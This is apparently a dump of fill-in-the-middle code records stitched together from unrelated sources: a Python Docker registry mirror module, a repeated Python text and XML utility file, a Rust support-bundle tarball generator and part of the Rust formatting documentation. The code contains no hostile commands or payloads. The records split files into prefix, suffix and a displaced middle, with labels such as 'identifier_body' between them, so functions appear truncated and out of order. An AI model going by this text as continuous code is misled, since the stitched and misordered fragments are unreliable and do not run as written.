None: return toolkit.response(data=data, raw=True) source_resp = lookup_source( flask.request.path, stream=False, source=source ) if not source_resp: return resp data = source_resp.content headers = _response_headers(source_resp.headers) cache.redis_conn.setex('{0}:{1}'.format( cache.cache_prefix, tag_path ), tags_cache_ttl, data) return toolkit.response(data=data, headers=headers, raw=True) return wrapper def source_lookup(cache=False, stream=False, index_route=False): def decorator(f): @functools.wraps(f) def wrapper(*args, **kwargs): cfg = config.load() mirroring_cfg = cfg.mirroring resp = f(*args, **kwargs) if not mirroring_cfg: return resp source = mirroring_cfg['source'] if index_route: source = mirroring_cfg.get('source_index', source) logger.debug('Source provided, registry acts as mirror') if resp.status_code != 404: logger.debug('Status code is not 404, no source ' 'lookup required') return resp source_resp = lookup_source( flask.request.path, stream=stream, source=source ) if not source_resp: return resp store = storage.load() headers = _response_headers(source_resp.headers) if index_route and 'x-docker-endpoints' in headers: headers['x-docker-endpoints'] = toolkit.get_endpoints() if not stream: logger.debug('JSON data found on source, writing response') resp_data = source_resp.content if cache: store_mirrored_data( resp_data, flask.request.url_rule.rule, kwargs, store ) return toolkit.response( data=resp_data, headers=headers, raw=True ) logger.debug('Layer data found on source, preparing to ' 'stream response...') layer_path = store.image_layer_path(kwargs['image_id']) return _handle_mirrored_layer(source_resp, layer_path, store, headers) return wrapper return decorator def _handle_mirrored_layer(source_resp, layer_path, store, headers):
def store_mirrored_data(data, endpoint, args, store): logger.debug('Endpoint: {0}'.format(endpoint)) path_method, arglist = ({ '/v1/images/<image_id>/json': ('image_json_path', ('image_id',)), '/v1/images/<image_id>/ancestry': ( 'image_ancestry_path', ('image_id',) ), '/v1/repositories/<path:repository>/json': ( 'registry_json_path', ('namespace', 'repository') ), }).get(endpoint, (None, None)) if not path_method: return logger.debug('Path method: {0}'.format(path_method)) pm_args = {} for arg in arglist: pm_args[arg] = args[arg] logger.debug('Path method args: {0}'.format(pm_args)) storage_path = getattr(store, path_method)(**pm_args) logger.debug('Storage path: {0}'.format(storage_path)) store.put_content(storage_path, data)
sr = toolkit.SocketReader(source_resp) tmp, hndlr = storage.temp_store_handler() sr.add_handler(hndlr) def generate(): for chunk in sr.iterate(store.buffer_size): yield chunk # FIXME: this could be done outside of the request context tmp.seek(0) store.stream_write(layer_path, tmp) tmp.close() return flask.Response(generate(), headers=headers)
identifier_body
utils.py
# -*- coding: utf-8 -*- """This file contains utility functions.""" import logging import re # Illegal Unicode characters for XML. ILLEGAL_XML_RE = re.compile( ur'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f' ur'\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]') def IsText(bytes_in, encoding=None): """Examine the bytes in and determine if they are indicative of a text. Parsers need quick and at least semi reliable method of discovering whether or not a particular byte stream is a text or resembles text or not. This can be used in text parsers to determine if a file is a text file or not for instance. The method assumes the byte sequence is either ASCII, UTF-8, UTF-16 or method supplied character encoding. Otherwise it will make the assumption the byte sequence is not text, but a byte sequence. Args: bytes_in: The byte sequence passed to the method that needs examination. encoding: Optional encoding to test, if not defined only ASCII, UTF-8 and UTF-16 are tried. Returns: Boolean value indicating whether or not the byte sequence is a text or not. """ # TODO: Improve speed and accuracy of this method. # Start with the assumption we are dealing with a text. is_ascii = True # Check if this is ASCII text string. for char in bytes_in: if not 31 < ord(char) < 128: is_ascii = False break # We have an ASCII string. if is_ascii: return is_ascii # Is this already a unicode text? if isinstance(bytes_in, unicode): return True # Check if this is UTF-8 try: _ = bytes_in.decode('utf-8') return True except UnicodeDecodeError: pass # TODO: UTF 16 decode is successful in too # many edge cases where we are not really dealing with # a text at all. Leaving this out for now, consider # re-enabling or making a better determination. #try: # _ = bytes_in.decode('utf-16-le') # return True #except UnicodeDecodeError: # pass if encoding: try: _ = bytes_in.decode(encoding) return True except UnicodeDecodeError: pass except LookupError: logging.error( u'String encoding not recognized: {0:s}'.format(encoding)) return False def
(string): """Converts the string to Unicode if necessary.""" if not isinstance(string, unicode): return str(string).decode('utf8', 'ignore') return string def GetInodeValue(inode_raw): """Read in a 'raw' inode value and try to convert it into an integer. Args: inode_raw: A string or an int inode value. Returns: An integer inode value. """ if isinstance(inode_raw, (int, long)): return inode_raw if isinstance(inode_raw, float): return int(inode_raw) try: return int(inode_raw) except ValueError: # Let's do one more attempt. inode_string, _, _ = str(inode_raw).partition('-') try: return int(inode_string) except ValueError: return -1 def RemoveIllegalXMLCharacters(string, replacement=u'\ufffd'): """Removes illegal Unicode characters for XML. Args: string: A string to replace all illegal characters for XML. replacement: A replacement character to use in replacement of all found illegal characters. Return: A string where all illegal Unicode characters for XML have been removed. If the input is not a string it will be returned unchanged.""" if isinstance(string, basestring): return ILLEGAL_XML_RE.sub(replacement, string) return string
GetUnicodeString
identifier_name
utils.py
# -*- coding: utf-8 -*- """This file contains utility functions.""" import logging import re # Illegal Unicode characters for XML. ILLEGAL_XML_RE = re.compile( ur'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f' ur'\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]') def IsText(bytes_in, encoding=None): """Examine the bytes in and determine if they are indicative of a text. Parsers need quick and at least semi reliable method of discovering whether or not a particular byte stream is a text or resembles text or not. This can be used in text parsers to determine if a file is a text file or not for instance. The method assumes the byte sequence is either ASCII, UTF-8, UTF-16 or method supplied character encoding. Otherwise it will make the assumption the byte sequence is not text, but a byte sequence. Args: bytes_in: The byte sequence passed to the method that needs examination. encoding: Optional encoding to test, if not defined only ASCII, UTF-8 and UTF-16 are tried. Returns: Boolean value indicating whether or not the byte sequence is a text or not. """ # TODO: Improve speed and accuracy of this method. # Start with the assumption we are dealing with a text. is_ascii = True # Check if this is ASCII text string. for char in bytes_in: if not 31 < ord(char) < 128: is_ascii = False break # We have an ASCII string. if is_ascii: return is_ascii # Is this already a unicode text? if isinstance(bytes_in, unicode): return True # Check if this is UTF-8 try: _ = bytes_in.decode('utf-8') return True except UnicodeDecodeError: pass # TODO: UTF 16 decode is successful in too # many edge cases where we are not really dealing with # a text at all. Leaving this out for now, consider # re-enabling or making a better determination. #try: # _ = bytes_in.decode('utf-16-le') # return True #except UnicodeDecodeError: # pass if encoding: try: _ = bytes_in.decode(encoding) return True except UnicodeDecodeError: pass except LookupError: logging.error( u'String encoding not recognized: {0:s}'.format(encoding)) return False def GetUnicodeString(string): """Converts the string to Unicode if necessary.""" if not isinstance(string, unicode): return str(string).decode('utf8', 'ignore') return string def GetInodeValue(inode_raw): """Read in a 'raw' inode value and try to convert it into an integer. Args: inode_raw: A string or an int inode value. Returns: An integer inode value. """ if isinstance(inode_raw, (int, long)): return inode_raw if isinstance(inode_raw, float): return int(inode_raw) try: return int(inode_raw) except ValueError: # Let's do one more attempt. inode_string, _, _ = str(inode_raw).partition('-') try: return int(inode_string) except ValueError: return -1 def RemoveIllegalXMLCharacters(string, replacement=u'\ufffd'): """Removes illegal Unicode characters for XML. Args: string: A string to replace all illegal characters for XML. replacement: A replacement character to use in replacement of all found illegal characters. Return: A string where all illegal Unicode characters for XML have been removed. If the input is not a string it will be returned unchanged.""" if isinstance(string, basestring):
return string
return ILLEGAL_XML_RE.sub(replacement, string)
conditional_block
utils.py
# -*- coding: utf-8 -*- """This file contains utility functions.""" import logging import re # Illegal Unicode characters for XML. ILLEGAL_XML_RE = re.compile( ur'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f' ur'\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]') def IsText(bytes_in, encoding=None): """Examine the bytes in and determine if they are indicative of a text. Parsers need quick and at least semi reliable method of discovering whether or not a particular byte stream is a text or resembles text or not. This can be used in text parsers to determine if a file is a text file or not for instance. The method assumes the byte sequence is either ASCII, UTF-8, UTF-16 or method supplied character encoding. Otherwise it will make the assumption the byte sequence is not text, but a byte sequence. Args: bytes_in: The byte sequence passed to the method that needs examination. encoding: Optional encoding to test, if not defined only ASCII, UTF-8 and UTF-16 are tried. Returns: Boolean value indicating whether or not the byte sequence is a text or not. """ # TODO: Improve speed and accuracy of this method. # Start with the assumption we are dealing with a text. is_ascii = True # Check if this is ASCII text string. for char in bytes_in: if not 31 < ord(char) < 128: is_ascii = False break # We have an ASCII string. if is_ascii: return is_ascii # Is this already a unicode text? if isinstance(bytes_in, unicode): return True # Check if this is UTF-8 try: _ = bytes_in.decode('utf-8') return True except UnicodeDecodeError: pass # TODO: UTF 16 decode is successful in too # many edge cases where we are not really dealing with # a text at all. Leaving this out for now, consider # re-enabling or making a better determination. #try: # _ = bytes_in.decode('utf-16-le') # return True #except UnicodeDecodeError: # pass if encoding: try: _ = bytes_in.decode(encoding) return True except UnicodeDecodeError: pass except LookupError: logging.error( u'String encoding not recognized: {0:s}'.format(encoding)) return False def GetUnicodeString(string): """Converts the string to Unicode if necessary.""" if not isinstance(string, unicode): return str(string).decode('utf8', 'ignore') return string def GetInodeValue(inode_raw):
def RemoveIllegalXMLCharacters(string, replacement=u'\ufffd'): """Removes illegal Unicode characters for XML. Args: string: A string to replace all illegal characters for XML. replacement: A replacement character to use in replacement of all found illegal characters. Return: A string where all illegal Unicode characters for XML have been removed. If the input is not a string it will be returned unchanged.""" if isinstance(string, basestring): return ILLEGAL_XML_RE.sub(replacement, string) return string
"""Read in a 'raw' inode value and try to convert it into an integer. Args: inode_raw: A string or an int inode value. Returns: An integer inode value. """ if isinstance(inode_raw, (int, long)): return inode_raw if isinstance(inode_raw, float): return int(inode_raw) try: return int(inode_raw) except ValueError: # Let's do one more attempt. inode_string, _, _ = str(inode_raw).partition('-') try: return int(inode_string) except ValueError: return -1
identifier_body
utils.py
# -*- coding: utf-8 -*- """This file contains utility functions.""" import logging import re
ILLEGAL_XML_RE = re.compile( ur'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f' ur'\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]') def IsText(bytes_in, encoding=None): """Examine the bytes in and determine if they are indicative of a text. Parsers need quick and at least semi reliable method of discovering whether or not a particular byte stream is a text or resembles text or not. This can be used in text parsers to determine if a file is a text file or not for instance. The method assumes the byte sequence is either ASCII, UTF-8, UTF-16 or method supplied character encoding. Otherwise it will make the assumption the byte sequence is not text, but a byte sequence. Args: bytes_in: The byte sequence passed to the method that needs examination. encoding: Optional encoding to test, if not defined only ASCII, UTF-8 and UTF-16 are tried. Returns: Boolean value indicating whether or not the byte sequence is a text or not. """ # TODO: Improve speed and accuracy of this method. # Start with the assumption we are dealing with a text. is_ascii = True # Check if this is ASCII text string. for char in bytes_in: if not 31 < ord(char) < 128: is_ascii = False break # We have an ASCII string. if is_ascii: return is_ascii # Is this already a unicode text? if isinstance(bytes_in, unicode): return True # Check if this is UTF-8 try: _ = bytes_in.decode('utf-8') return True except UnicodeDecodeError: pass # TODO: UTF 16 decode is successful in too # many edge cases where we are not really dealing with # a text at all. Leaving this out for now, consider # re-enabling or making a better determination. #try: # _ = bytes_in.decode('utf-16-le') # return True #except UnicodeDecodeError: # pass if encoding: try: _ = bytes_in.decode(encoding) return True except UnicodeDecodeError: pass except LookupError: logging.error( u'String encoding not recognized: {0:s}'.format(encoding)) return False def GetUnicodeString(string): """Converts the string to Unicode if necessary.""" if not isinstance(string, unicode): return str(string).decode('utf8', 'ignore') return string def GetInodeValue(inode_raw): """Read in a 'raw' inode value and try to convert it into an integer. Args: inode_raw: A string or an int inode value. Returns: An integer inode value. """ if isinstance(inode_raw, (int, long)): return inode_raw if isinstance(inode_raw, float): return int(inode_raw) try: return int(inode_raw) except ValueError: # Let's do one more attempt. inode_string, _, _ = str(inode_raw).partition('-') try: return int(inode_string) except ValueError: return -1 def RemoveIllegalXMLCharacters(string, replacement=u'\ufffd'): """Removes illegal Unicode characters for XML. Args: string: A string to replace all illegal characters for XML. replacement: A replacement character to use in replacement of all found illegal characters. Return: A string where all illegal Unicode characters for XML have been removed. If the input is not a string it will be returned unchanged.""" if isinstance(string, basestring): return ILLEGAL_XML_RE.sub(replacement, string) return string
# Illegal Unicode characters for XML.
random_line_split
supportbundle.rs
use crate::{common::ui::{Status, UIWriter, UI}, error::{Error, Result}, hcore::{fs::FS_ROOT_PATH, os::net::hostname}}; use chrono::Local; use flate2::{write::GzEncoder, Compression}; use std::{env, fs::{self, File}, path::{Path, MAIN_SEPARATOR}, process}; fn lookup_hostname() -> Result<String> { match hostname() { Ok(hostname) => Ok(hostname), Err(_) => Err(Error::NameLookup), } } pub fn start(ui: &mut UI) -> Result<()>
{ let dt = Local::now(); ui.status(Status::Generating, format!("New Support Bundle at {}", dt.format("%Y-%m-%d %H:%M:%S")))?; let host = match lookup_hostname() { Ok(host) => host, Err(e) => { let host = String::from("localhost"); ui.warn(format!("Hostname lookup failed; using fallback of {} ({})", host, e))?; host } }; let cwd = env::current_dir().unwrap(); let tarball_name = format!("support-bundle-{}-{}.tar.gz", &host, dt.format("%Y%m%d%H%M%S")); let sup_root = Path::new(&*FS_ROOT_PATH).join("hab").join("sup"); let tar_gz = File::create(&tarball_name)?; let enc = GzEncoder::new(tar_gz, Compression::default()); let mut tar = tar::Builder::new(enc); tar.follow_symlinks(false); if sup_root.exists() { ui.status(Status::Adding, format!("files from {}", &sup_root.display()))?; if let Err(why) = tar.append_dir_all(format!("hab{}sup", MAIN_SEPARATOR), &sup_root) { ui.fatal(format!("Failed to add all files into the tarball: {}", why))?; fs::remove_file(&tarball_name)?; process::exit(1); } } else { ui.fatal(format!("Failed to find Supervisor root directory {}", &sup_root.display()))?; process::exit(1) } ui.status(Status::Created, format!("{}{}{}", cwd.display(), MAIN_SEPARATOR, &tarball_name))?; Ok(()) }
identifier_body
supportbundle.rs
use crate::{common::ui::{Status, UIWriter, UI}, error::{Error, Result}, hcore::{fs::FS_ROOT_PATH, os::net::hostname}}; use chrono::Local; use flate2::{write::GzEncoder, Compression}; use std::{env, fs::{self, File}, path::{Path, MAIN_SEPARATOR}, process}; fn lookup_hostname() -> Result<String> { match hostname() { Ok(hostname) => Ok(hostname), Err(_) => Err(Error::NameLookup), } } pub fn start(ui: &mut UI) -> Result<()> { let dt = Local::now(); ui.status(Status::Generating, format!("New Support Bundle at {}", dt.format("%Y-%m-%d %H:%M:%S")))?; let host = match lookup_hostname() { Ok(host) => host, Err(e) => { let host = String::from("localhost"); ui.warn(format!("Hostname lookup failed; using fallback of {} ({})", host, e))?; host } }; let cwd = env::current_dir().unwrap(); let tarball_name = format!("support-bundle-{}-{}.tar.gz", &host, dt.format("%Y%m%d%H%M%S")); let sup_root = Path::new(&*FS_ROOT_PATH).join("hab").join("sup"); let tar_gz = File::create(&tarball_name)?; let enc = GzEncoder::new(tar_gz, Compression::default()); let mut tar = tar::Builder::new(enc); tar.follow_symlinks(false); if sup_root.exists() { ui.status(Status::Adding, format!("files from {}", &sup_root.display()))?; if let Err(why) = tar.append_dir_all(format!("hab{}sup", MAIN_SEPARATOR), &sup_root) { ui.fatal(format!("Failed to add all files into the tarball: {}", why))?; fs::remove_file(&tarball_name)?; process::exit(1); } } else { ui.fatal(format!("Failed to find Supervisor root directory {}", &sup_root.display()))?;
Ok(()) }
process::exit(1) } ui.status(Status::Created, format!("{}{}{}", cwd.display(), MAIN_SEPARATOR, &tarball_name))?;
random_line_split
supportbundle.rs
use crate::{common::ui::{Status, UIWriter, UI}, error::{Error, Result}, hcore::{fs::FS_ROOT_PATH, os::net::hostname}}; use chrono::Local; use flate2::{write::GzEncoder, Compression}; use std::{env, fs::{self, File}, path::{Path, MAIN_SEPARATOR}, process}; fn
() -> Result<String> { match hostname() { Ok(hostname) => Ok(hostname), Err(_) => Err(Error::NameLookup), } } pub fn start(ui: &mut UI) -> Result<()> { let dt = Local::now(); ui.status(Status::Generating, format!("New Support Bundle at {}", dt.format("%Y-%m-%d %H:%M:%S")))?; let host = match lookup_hostname() { Ok(host) => host, Err(e) => { let host = String::from("localhost"); ui.warn(format!("Hostname lookup failed; using fallback of {} ({})", host, e))?; host } }; let cwd = env::current_dir().unwrap(); let tarball_name = format!("support-bundle-{}-{}.tar.gz", &host, dt.format("%Y%m%d%H%M%S")); let sup_root = Path::new(&*FS_ROOT_PATH).join("hab").join("sup"); let tar_gz = File::create(&tarball_name)?; let enc = GzEncoder::new(tar_gz, Compression::default()); let mut tar = tar::Builder::new(enc); tar.follow_symlinks(false); if sup_root.exists() { ui.status(Status::Adding, format!("files from {}", &sup_root.display()))?; if let Err(why) = tar.append_dir_all(format!("hab{}sup", MAIN_SEPARATOR), &sup_root) { ui.fatal(format!("Failed to add all files into the tarball: {}", why))?; fs::remove_file(&tarball_name)?; process::exit(1); } } else { ui.fatal(format!("Failed to find Supervisor root directory {}", &sup_root.display()))?; process::exit(1) } ui.status(Status::Created, format!("{}{}{}", cwd.display(), MAIN_SEPARATOR, &tarball_name))?; Ok(()) }
lookup_hostname
identifier_name
fmt.rs
//! Utilities for formatting and printing `String`s. //! //! This module contains the runtime support for the [`format!`] syntax extension. //! This macro is implemented in the compiler to emit calls to this module in //! order to format arguments at runtime into strings. //! //! # Usage //! //! The [`format!`] macro is intended to be familiar to those coming from C's //! `printf`/`fprintf` functions or Python's `str.format` function. //! //! Some examples of the [`format!`] extension are: //! //! ``` //! format!("Hello"); // => "Hello" //! format!("Hello, {}!", "world"); // => "Hello, world!" //! format!("The number is {}", 1); // => "The number is 1" //! format!("{:?}", (3, 4)); // => "(3, 4)" //! format!("{value}", value=4); // => "4" //! let people = "Rustaceans"; //! format!("Hello {people}!"); // => "Hello Rustaceans!" //! format!("{} {}", 1, 2); // => "1 2" //! format!("{:04}", 42); // => "0042" with leading zeros //! format!("{:#?}", (100, 200)); // => "( //! // 100, //! // 200, //! // )" //! ``` //! //! From these, you can see that the first argument is a format string. It is //! required by the compiler for this to be a string literal; it cannot be a //! variable passed in (in order to perform validity checking). The compiler //! will then parse the format string and determine if the list of arguments //! provided is suitable to pass to this format string. //! //! To convert a single value to a string, use the [`to_string`] method. This //! will use the [`Display`] formatting trait. //! //! ## Positional parameters //! //! Each formatting argument is allowed to specify which value argument it's //! referencing, and if omitted it is assumed to be "the next argument". For //! example, the format string `{} {} {}` would take three parameters, and they //! would be formatted in the same order as they're given. The format string //! `{2} {1} {0}`, however, would format arguments in reverse order. //! //! Things can get a little tricky once you start intermingling the two types of //! positional specifiers. The "next argument" specifier can be thought of as an //! iterator over the argument. Each time a "next argument" specifier is seen, //! the iterator advances. This leads to behavior like this: //! //! ``` //! format!("{1} {} {0} {}", 1, 2); // => "2 1 1 2" //! ``` //! //! The internal iterator over the argument has not been advanced by the time //! the first `{}` is seen, so it prints the first argument. Then upon reaching //! the second `{}`, the iterator has advanced forward to the second argument. //! Essentially, parameters that explicitly name their argument do not affect //! parameters that do not name an argument in terms of positional specifiers. //! //! A format string is required to use all of its arguments, otherwise it is a //! compile-time error. You may refer to the same argument more than once in the //! format string. //! //! ## Named parameters //! //! Rust itself does not have a Python-like equivalent of named parameters to a //! function, but the [`format!`] macro is a syntax extension that allows it to //! leverage named parameters. Named parameters are listed at the end of the //! argument list and have the syntax: //! //! ```text //! identifier '=' expression //! ``` //! //! For example, the following [`format!`] expressions all use named argument: //! //! ``` //! format!("{argument}", argument = "test"); // => "test" //! format!("{name} {}", 1, name = 2); // => "2 1" //! format!("{a} {c} {b}", a="a", b='b', c=3); // => "a 3 b" //! ``` //! //! If a named parameter does not appear in the argument list, `format!` will //! reference a variable with that name in the current scope. //! //! ``` //! let argument = 2 + 2; //! format!("{argument}"); // => "4" //! //! fn make_string(a: u32, b: &str) -> String { //! format!("{b} {a}") //! } //! make_string(927, "label"); // => "label 927" //! ``` //! //! It is not valid to put positional parameters (those without names) after //! arguments that have names. Like with positional parameters, it is not //! valid to provide named parameters that are unused by the format string. //! //! # Formatting Parameters //! //! Each argument being formatted can be transformed by a number of formatting //! parameters (corresponding to `format_spec` in [the syntax](#syntax)). These //! parameters affect the string representation of what's being formatted. //! //! ## Width //! //! ``` //! // All of these print "Hello x !" //! println!("Hello {:5}!", "x"); //! println!("Hello {:1$}!", "x", 5); //! println!("Hello {1:0$}!", 5, "x"); //! println!("Hello {:width$}!", "x", width = 5); //! let width = 5; //! println!("Hello {:width$}!", "x"); //! ``` //! //! This is a parameter for the "minimum width" that the format should take up. //! If the value's string does not fill up this many characters, then the //! padding specified by fill/alignment will be used to take up the required //! space (see below). //! //! The value for the width can also be provided as a [`usize`] in the list of //! parameters by adding a postfix `$`, indicating that the second argument is //! a [`usize`] specifying the width. //! //! Referring to an argument with the dollar syntax does not affect the "next //! argument" counter, so it's usually a good idea to refer to arguments by //! position, or use named arguments. //! //! ## Fill/Alignment //! //! ``` //! assert_eq!(format!("Hello {:<5}!", "x"), "Hello x !"); //! assert_eq!(format!("Hello {:-<5}!", "x"), "Hello x----!"); //! assert_eq!(format!("Hello {:^5}!", "x"), "Hello x !"); //! assert_eq!(format!("Hello {:>5}!", "x"), "Hello x!"); //! ``` //! //! The optional fill character and alignment is provided normally in conjunction with the //! [`width`](#width) parameter. It must be defined before `width`, right after the `:`. //! This indicates that if the value being formatted is smaller than //! `width` some extra characters will be printed around it. //! Filling comes in the following variants for different alignments: //! //! * `[fill]<` - the argument is left-aligned in `width` columns //! * `[fill]^` - the argument is center-aligned in `width` columns //! * `[fill]>` - the argument is right-aligned in `width` columns //! //! The default [fill/alignment](#fillalignment) for non-numerics is a space and //! left-aligned. The //! default for numeric formatters is also a space character but with right-alignment. If //! the `0` flag (see below) is specified for numerics, then the implicit fill character is //! `0`. //! //! Note that alignment might not be implemented by some types. In particular, it //! is not generally implemented for the `Debug` trait. A good way to ensure //! padding is applied is to format your input, then pad this resulting string //! to obtain your output: //! //! ``` //! println!("Hello {:^15}!", format!("{:?}", Some("hi"))); // => "Hello Some("hi") !" //! ``` //! //! ## Sign/`#`/`0` //! //! ``` //! assert_eq!(format!("Hello {:+}!", 5), "Hello +5!"); //! assert_eq!(format!("{:#x}!", 27), "0x1b!"); //! assert_eq!(format!("Hello {:05}!", 5), "Hello 00005!"); //! assert_eq!(format!("Hello {:05}!", -5), "Hello -0005!"); //! assert_eq!(format!("{:#010x}!", 27), "0x0000001b!"); //! ``` //! //! These are all flags altering the behavior of the formatter. //! //! * `+` - This is intended for numeric types and indicates that the sign //! should always be printed. Positive signs are never printed by //! default, and the negative sign is only printed by default for signed values. //! This flag indicates that the correct sign (`+` or `-`) should always be printed. //! * `-` - Currently not used //! * `#` - This flag indicates that the "alternate" form of printing should //! be used. The alternate forms are: //! * `#?` - pretty-print the [`Debug`] formatting (adds linebreaks and indentation) //! * `#x` - precedes the argument with a `0x` //! * `#X` - precedes the argument with a `0x` //! * `#b` - precedes the argument with a `0b` //! * `#o` - precedes the argument with a `0o` //! * `0` - This is used to indicate for integer formats that the padding to `width` should //! both be done with a `0` character as well as be sign-aware. A format //! like `{:08}` would yield `00000001` for the integer `1`, while the //! same format would yield `-0000001` for the integer `-1`. Notice that //! the negative version has one fewer zero than the positive version. //! Note that padding zeros are always placed after the sign (if any) //! and before the digits. When used together with the `#` flag, a similar //! rule applies: padding zeros are inserted after the prefix but before //! the digits. The prefix is included in the total width. //! //! ## Precision //! //! For non-numeric types, this can be considered a "maximum width". If the resulting string is //! longer than this width, then it is truncated down to this many characters and that truncated //! value is emitted with proper `fill`, `alignment` and `width` if those parameters are set. //! //! For integral types, this is ignored. //! //! For floating-point types, this indicates how many digits after the decimal point should be //! printed. //! //! There are three possible ways to specify the desired `precision`: //! //! 1. An integer `.N`: //! //! the integer `N` itself is the precision. //! //! 2. An integer or name followed by dollar sign `.N$`: //! //! use format *argument* `N` (which must be a `usize`) as the precision. //! //! 3. An asterisk `.*`: //! //! `.*` means that this `{...}` is associated with *two* format inputs rather than one: the //! first input holds the `usize` precision, and the second holds the value to print. Note that //! in this case, if one uses the format string `{<arg>:<spec>.*}`, then the `<arg>` part refers //! to the *value* to print, and the `precision` must come in the input preceding `<arg>`. //! //! For example, the following calls all print the same thing `Hello x is 0.01000`: //! //! ``` //! // Hello {arg 0 ("x")} is {arg 1 (0.01) with precision specified inline (5)} //! println!("Hello {0} is {1:.5}", "x", 0.01); //! //! // Hello {arg 1 ("x")} is {arg 2 (0.01) with precision specified in arg 0 (5)} //! println!("Hello {1} is {2:.0$}", 5, "x", 0.01); //! //! // Hello {arg 0 ("x")} is {arg 2 (0.01) with precision specified in arg 1 (5)} //! println!("Hello {0} is {2:.1$}", "x", 5, 0.01); //! //! // Hello {next arg ("x")} is {second of next two args (0.01) with precision //! // specified in first of next two args (5)} //! println!("Hello {} is {:.*}", "x", 5, 0.01); //! //! // Hello {next arg ("x")} is {arg 2 (0.01) with precision //! // specified in its predecessor (5)} //! println!("Hello {} is {2:.*}", "x", 5, 0.01); //! //! // Hello {next arg ("x")} is {arg "number" (0.01) with precision specified //! // in arg "prec" (5)} //! println!("Hello {} is {number:.prec$}", "x", prec = 5, number = 0.01); //! ``` //! //! While these: //! //! ``` //! println!("{}, `{name:.*}` has 3 fractional digits", "Hello", 3, name=1234.56); //! println!("{}, `{name:.*}` has 3 characters", "Hello", 3, name="1234.56"); //! println!("{}, `{name:>8.*}` has 3 right-aligned characters", "Hello", 3, name="1234.56"); //! ``` //! //! print three significantly different things: //! //! ```text //! Hello, `1234.560` has 3 fractional digits //! Hello, `123` has 3 characters //! Hello, ` 123` has 3 right-aligned characters //! ``` //! //! ## Localization //! //! In some programming languages, the behavior of string formatting functions //! depends on the operating system's locale setting. The format functions //! provided by Rust's standard library do not have any concept of locale and //! will produce the same results on all systems regardless of user //! configuration. //! //! For example, the following code will always print `1.5` even if the system //! locale uses a decimal separator other than a dot. //! //! ``` //! println!("The value is {}", 1.5); //! ``` //! //! # Escaping //! //! The literal characters `{` and `}` may be included in a string by preceding //! them with the same character. For example, the `{` character is escaped with //! `{{` and the `}` character is escaped with `}}`. //! //! ``` //! assert_eq!(format!("Hello {{}}"), "Hello {}"); //! assert_eq!(format!("{{ Hello"), "{ Hello"); //! ``` //! //! # Syntax //! //! To summarize, here you can find the full grammar of format strings. //! The syntax for the formatting language used is drawn from other languages, //! so it should not be too alien. Arguments are formatted with Python-like //! syntax, meaning that arguments are surrounded by `{}` instead of the C-like //! `%`. The actual grammar for the formatting syntax is: //! //! ```text //! format_string := text [ maybe_format text ] * //! maybe_format := '{' '{' | '}' '}' | format //! format := '{' [ argument ] [ ':' format_spec ] '}' //! argument := integer | identifier //! //! format_spec := [[fill]align][sign]['#']['0'][width]['.' precision]type //! fill := character //! align := '<' | '^' | '>' //! sign := '+' | '-' //! width := count //! precision := count | '*' //! type := '' | '?' | 'x?' | 'X?' | identifier //! count := parameter | integer //! parameter := argument '$' //! ``` //! In the above grammar, `text` must not contain any `'{'` or `'}'` characters. //! //! # Formatting traits //! //! When requesting that an argument be formatted with a particular type, you //! are actually requesting that an argument ascribes to a particular trait. //! This allows multiple actual types to be formatted via `{:x}` (like [`i8`] as //! well as [`isize`]). The current mapping of types to traits is: //! //! * *nothing* ⇒ [`Display`] //! * `?` ⇒ [`Debug`] //! * `x?` ⇒ [`Debug`] with lower-case hexadecimal integers //! * `X?` ⇒ [`Debug`] with upper-case hexadecimal integers //! * `o` ⇒ [`Octal`] //! * `x` ⇒ [`LowerHex`] //! * `X` ⇒ [`UpperHex`] //! * `p` ⇒ [`Pointer`] //! * `b` ⇒ [`Binary`] //! * `e` ⇒ [`LowerExp`] //! * `E` ⇒ [`UpperExp`] //! //! What this means is that any type of argument which implements the //! [`fmt::Binary`][`Binary`] trait can then be formatted with `{:b}`. Implementations //! are provided for these traits for a number of primitive types by the //! standard library as well. If no format is specified (as in `{}` or `{:6}`), //! then the format trait used is the [`Display`] trait. //! //! When implementing a format trait for your own type, you will have to //! implement a method of the signature: //! //! ``` //! # #![allow(dead_code)] //! # use std::fmt; //! # struct Foo; // our custom type //! # impl fmt::Display for Foo { //! fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { //! # write!(f, "testing, testing") //! # } } //! ``` //! //! Your type will be passed as `self` by-reference, and then the function //! should emit output into the `f.buf` stream. It is up to each format trait //! implementation to correctly adhere to the requested formatting parameters. //! The values of these parameters will be listed in the fields of the //! [`Formatter`] struct. In order to help with this, the [`Formatter`] struct also //! provides some helper methods. //! //! Additionally, the return value of this function is [`fmt::Result`] which is a //! type alias of <code>[Result]<(), [std::fmt::Error]></code>. Formatting implementations //! should ensure that they propagate errors from the [`Formatter`] (e.g., when //! calling [`write!`]). However, they should never return errors spuriously. That //! is, a formatting implementation must and may only return an error if the //! passed-in [`Formatter`] returns an error. This is because, contrary to what //! the function signature might suggest, string formatting is an infallible //! operation. This function only returns a result because writing to the //! underlying stream might fail and it must provide a way to propagate the fact //! that an error has occurred back up the stack. //! //! An example of implementing the formatting traits would look //! like: //! //! ``` //! use std::fmt; //! //! #[derive(Debug)] //! struct Vector2D { //! x: isize, //! y: isize, //! } //! //! impl fmt::Display for Vector2D { //! fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { //! // The `f` value implements the `Write` trait, which is what the //! // write! macro is expecting. Note that this formatting ignores the //! // various flags provided to format strings. //! write!(f, "({}, {})", self.x, self.y) //! } //! } //! //! // Different traits allow different forms of output of a type. The meaning //! // of this format is to print the magnitude of a vector. //! impl fmt::Binary for Vector2D { //! fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { //! let magnitude = (self.x * self.x + self.y * self.y) as f64; //! let magnitude = magnitude.sqrt(); //! //! // Respect the formatting flags by using the helper method //! // `pad_integral` on the Formatter object. See the method //! // documentation for details, and the function `pad` can be used //! // to pad strings. //! let decimals = f.precision().unwrap_or(3); //! let string = format!("{:.*}", decimals, magnitude); //! f.pad_integral(true, "", &string) //! } //! } //! //! fn main() { //! let myvector = Vector2D { x: 3, y: 4 }; //! //! println!("{}", 